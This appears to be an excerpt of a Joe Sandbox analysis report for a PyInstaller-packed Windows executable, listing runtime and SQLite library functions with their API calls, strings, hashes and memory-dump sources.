Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction ID: d9a9c119947db750693d65ccc3b578e8df6d0c7b37b8cdcce64977254a4f18bc
Opcode Fuzzy Hash: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction Fuzzy Hash: 3CD0C202F3825642EA48A76BBA46A795251AF89BC0F88D035EF4D43B6AEC3CD0414B00

Function 00007FFE0076EF30 Relevance: 1.3, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(?,00007FFE0076EE5D), ref: 00007FFE0076EF61

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 508d3c56008b8407d9579c500c6569aa09f18e491ddf20235239c49dae927103
Instruction ID: 2c4080e693f30776634ba9d2c2f66456547a75d61390a7110f310b8cb6a3c1ec
Opcode Fuzzy Hash: 508d3c56008b8407d9579c500c6569aa09f18e491ddf20235239c49dae927103
Instruction Fuzzy Hash: 0F217132B08B8187E7549B26A5446AEB2A5FB88B94F584135EB8D43FA9CF3CD451CB04

Function 00007FFE00761DF7 Relevance: 1.3, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFE007BF1C3

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9e1f5a9259e0aa48b60180f011c1c6fd63c9391dcfad61ef29b2cdf2ae2c5ec5
Instruction ID: 4ba38de0d793e79f5433e7b1043c8941d3493797251b4406aec5e36ff450be78
Opcode Fuzzy Hash: 9e1f5a9259e0aa48b60180f011c1c6fd63c9391dcfad61ef29b2cdf2ae2c5ec5
Instruction Fuzzy Hash: 16214D32E0A68685FB64BA25EC453B922E4FF41F54F2C8435DB0E467BDCE3CE9818651

Function 00007FFE0076204A Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFE0076F39B

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 853e6436f94aa431da519847a64e922f1c6e95587a9ca09828f1910c0d29a45c
Instruction ID: 4327385b0712ee5e849ffcd87e15fdd6608e09e515c54a2d0011a2b376ab9afc
Opcode Fuzzy Hash: 853e6436f94aa431da519847a64e922f1c6e95587a9ca09828f1910c0d29a45c
Instruction Fuzzy Hash: D1F0FF22B09B8285E704AB16F8042AAA764FB99FC4F5C4035EF8E47BADCF3CD5518704

Function 00007FF6B751D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6B7510C90,?,?,?,00007FF6B75122FA,?,?,?,?,?,00007FF6B7513AE9), ref: 00007FF6B751D63A

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 03153f43d82c1e21f5ae14c97fc931c40e7c8e65b3e43365fdf77f0453d9abc4
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 06F0F892F0DB9645FE645F79584167512905F847A2F080734DF2EC6AE2EE2CA880A610

Non-executed Functions

Function 00007FF6B75089E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B7509390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6B75045F4,00000000,00007FF6B7501985), ref: 00007FF6B75093C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508A56

Part of subcall function 00007FF6B751A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751A490

Part of subcall function 00007FF6B751871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7518783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508AE6
CreateProcessW.KERNEL32 ref: 00007FF6B7508B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508B28

Part of subcall function 00007FF6B7502C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502C9E
Part of subcall function 00007FF6B7502C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502D63
Part of subcall function 00007FF6B7502C50: MessageBoxW.USER32 ref: 00007FF6B7502D99

RegisterClassW.USER32 ref: 00007FF6B7508B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508B8B
CreateWindowExW.USER32 ref: 00007FF6B7508BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C15
PeekMessageW.USER32 ref: 00007FF6B7508C39
TranslateMessage.USER32 ref: 00007FF6B7508C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C51
PeekMessageW.USER32 ref: 00007FF6B7508C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508E04
GetExitCodeProcess.KERNEL32 ref: 00007FF6B7508E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508E2F

Strings

CreateProcessW, xrefs: 00007FF6B7508B37
PyInstallerOnefileHiddenWindow, xrefs: 00007FF6B7508B54
Failed to create child process!, xrefs: 00007FF6B7508B30
PyInstaller Onefile Hidden Window, xrefs: 00007FF6B7508B95

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 0f916afd0678db3eecd8a898f3a7dbc4401063a93fe515aea3663798724dcb29
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 1AD15E33A0CB8686EB109F78E8546A93771FF94B58F400239DB9E96AB4DF3CE5458740

Function 00007FFE013C42B0 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 452COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE013C4834

Strings

cach, xrefs: 00007FFE013C461F
no such vfs: %s, xrefs: 00007FFE013C48E4
cache, xrefs: 00007FFE013C46CB
cach, xrefs: 00007FFE013C47B0
invalid uri authority: %.*s, xrefs: 00007FFE013C4437
mode, xrefs: 00007FFE013C4791
localhos, xrefs: 00007FFE013C440E
access, xrefs: 00007FFE013C46F5
no such %s mode: %s, xrefs: 00007FFE013C475E
%s mode not allowed: %s, xrefs: 00007FFE013C47EE
mode, xrefs: 00007FFE013C460E
file, xrefs: 00007FFE013C432B

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %s mode not allowed: %s$access$cach$cach$cache$file$invalid uri authority: %.*s$localhos$mode$mode$no such %s mode: %s$no such vfs: %s
API String ID: 4225454184-1067337024
Opcode ID: c8a2246b974823a7f9e685c92d7b6b5ea85889c004ad0ed30654c43bd33b2973
Instruction ID: a962de5e5fe5605f3530c14e721a8488ce97ccc49c9daab3728decf95bf8bc12
Opcode Fuzzy Hash: c8a2246b974823a7f9e685c92d7b6b5ea85889c004ad0ed30654c43bd33b2973
Instruction Fuzzy Hash: C0022462E0C68685FF758B2494603797BD1AF62BA4F164235CAAE4B6F1DE3DE441C700

Function 00007FFDFAE63248 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFAE63264
00007FFE1A461A90.VCRUNTIME140 ref: 00007FFDFAE63288
RtlCaptureContext.KERNEL32 ref: 00007FFDFAE63291
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFAE632AB
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFAE632EC
00007FFE1A461A90.VCRUNTIME140 ref: 00007FFDFAE6331F
IsDebuggerPresent.KERNEL32 ref: 00007FFDFAE63340
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAE6335D
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAE63368

Memory Dump Source

Source File: 00000001.00000002.2116621230.00007FFDFAE61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAE60000, based on PE: true

Associated: 00000001.00000002.2116507686.00007FFDFAE60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEAA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEB8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117242370.00007FFDFAF10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117294434.00007FFDFAF12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae60000_program.jbxd

Similarity

API ID: 00007A461ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 2528831389-0
Opcode ID: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction ID: a5bc5b172a924cd8e100a5a6971bdeb98b6e9290a7bad0a6227e8595d42127a2
Opcode Fuzzy Hash: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction Fuzzy Hash: 0D316D72728B8286EB68AF60E8607ED7360FB94744F00443ADA5E47B99DF39C548CB00

Function 00007FF6B75083C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B750842B
RemoveDirectoryW.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084AE
DeleteFileW.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084CD
FindNextFileW.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084DB
FindClose.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084EC
RemoveDirectoryW.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084F5

Strings

%s\*, xrefs: 00007FF6B75083F2

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 357850099f2e1e2cd68665016846c1d9ce0cd1ccdab5cdcc1ad199b6742cb407
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: D1416023E0CA8695EA209F28E4445FA63A0FB9475CF500236EB9DD36E4EF3CE549C741

Function 00007FFE01307336 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 332COMMON

Download Yara Rule

Strings

0123456789ABCDEF0123456789abcdef, xrefs: 00007FFE01307529
VUUU, xrefs: 00007FFE0130746E
-x0, xrefs: 00007FFE01307606
VUUU, xrefs: 00007FFE0130759B

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID:
String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
API String ID: 0-2031831958
Opcode ID: 27ee5c829f6d79043f4cbad637b212a471c0560ebe4aff584a080aef168f4e0b
Instruction ID: 69bb21e3e9fc613ceed0b2a17469c1c75fea8b9000e91a5f4957c4f933bdfc9f
Opcode Fuzzy Hash: 27ee5c829f6d79043f4cbad637b212a471c0560ebe4aff584a080aef168f4e0b
Instruction Fuzzy Hash: EDD12662B1D68286EB668B59D064B7D7BE5FB44B80F4B4078DE8E4B7A5DE2CE400C700

Function 00007FFE0076212B Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE007DF3A0
RtlCaptureContext.KERNEL32 ref: 00007FFE007DF3CD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE007DF3E7
RtlVirtualUnwind.KERNEL32 ref: 00007FFE007DF428
IsDebuggerPresent.KERNEL32 ref: 00007FFE007DF47C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE007DF499
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE007DF4A4

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 42b55a9a064fc9b9eecda881d5f6a8203af3c995eb229b08bbbd6dd66c50bcf0
Instruction ID: 93c3ade5e0df77667ce2df2b49974f6325261674f4316561062131f68acb318c
Opcode Fuzzy Hash: 42b55a9a064fc9b9eecda881d5f6a8203af3c995eb229b08bbbd6dd66c50bcf0
Instruction Fuzzy Hash: 9A31DB76609A868AEB609F61E8407EE7374FB88744F44443ADB4E47BA9DF3CD648C710

Function 00007FF6B750D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6B750D148
RtlCaptureContext.KERNEL32 ref: 00007FF6B750D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6B750D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6B750D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF6B750D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6B750D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6B750D24C

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: a34d1c2bd872d6ac2a92cb46ed2bb1fcc56650d32559f5c199ae5cbcbeb2ab7c
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 4231FA73609B8586EB609F64E8807AE6374FB84748F44403ADB4E87BA9EF79D548C710

Function 00007FF6B7525C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B7525C45

Part of subcall function 00007FF6B7525598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75255AC

Part of subcall function 00007FF6B751A948: HeapFree.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A95E
Part of subcall function 00007FF6B751A948: GetLastError.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A968

Part of subcall function 00007FF6B751A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6B751A8DF,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751A909
Part of subcall function 00007FF6B751A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6B751A8DF,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751A92E

_get_daylight.LIBCMT ref: 00007FF6B7525C34

Part of subcall function 00007FF6B75255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B752560C

_get_daylight.LIBCMT ref: 00007FF6B7525EAA
_get_daylight.LIBCMT ref: 00007FF6B7525EBB
_get_daylight.LIBCMT ref: 00007FF6B7525ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6B752610C), ref: 00007FF6B7525EF3

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction ID: 95f0c04069e4de3d30322c73e55e1f1e83f292b0eeba1eaea1bfc8591df2b883
Opcode Fuzzy Hash: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction Fuzzy Hash: B1D1AE37F1C25286E7209F2AD8811B96761EF84794F448136EB4EC7AB5EF3CE8518740

Function 00007FF6B751A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6B751A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6B751A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6B751A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF6B751A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6B751A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6B751A72E

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

